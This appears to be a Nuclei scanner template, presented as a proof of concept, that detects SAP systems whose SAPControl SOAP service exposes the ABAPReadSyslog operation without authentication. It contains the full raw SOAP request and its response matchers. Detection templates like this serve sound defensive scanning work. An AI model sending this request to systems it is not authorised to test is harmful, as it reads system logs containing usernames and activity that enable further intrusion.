Detected SAP systems where the SAPControl SOAP web service exposes the ABAPReadSyslog operation without authentication. ABAPReadSyslog returns the ABAP system log (equivalent to transaction SM21) via SAPControl sapstartsrv and includes fields such as client, username, transaction code, message number, free-text message and severity.
PoC
id: sap-abapreadsyslog-disclosure
info:
name: SAPControl ABAPReadSyslog - Disclosure
author: LRVT,l4rm4nd
severity: medium
description: |
Detected SAP systems where the SAPControl SOAP web service exposes the ABAPReadSyslog operation without authentication. ABAPReadSyslog returns the ABAP system log (equivalent to transaction SM21) via SAPControl sapstartsrv and includes fields such as client, username, transaction code, message number, free-text message and severity.
reference:
- https://my-handshake.blogspot.com/2011/03/sapcontrol-webmethods-list.html
- https://gist.github.com/c6da760f57e062397e52400936ca5797
- https://exchange.icinga.com/kai_ks/check_sap_hostctrl
metadata:
max-request: 1
tags: misconfig,sap,sapcontrol,soap,log,disclosure
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml; charset=UTF-8
SOAPAction: '""'
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header>
<sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
<enableSession>true</enableSession>
</sapsess:Session>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:ABAPReadSyslog xmlns:ns1="urn:SAPControl"></ns1:ABAPReadSyslog>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<item>"
- "<Time>"
- "<Text>"
- "ABAPReadSyslogResponse"
condition: and
- type: status
status:
- 200
# digest: 490a0046304402203f03badbd3a0e0d08f367cf8c2f8db314cfbc0aaf72c9e9804ea62dc1d590b2a0220691019a9a2cfbaa9277de44c1c18a499e39ff25f0b82c23e5bab4db6e3aeacde:922c64590222798bb761d5b6d8e72950
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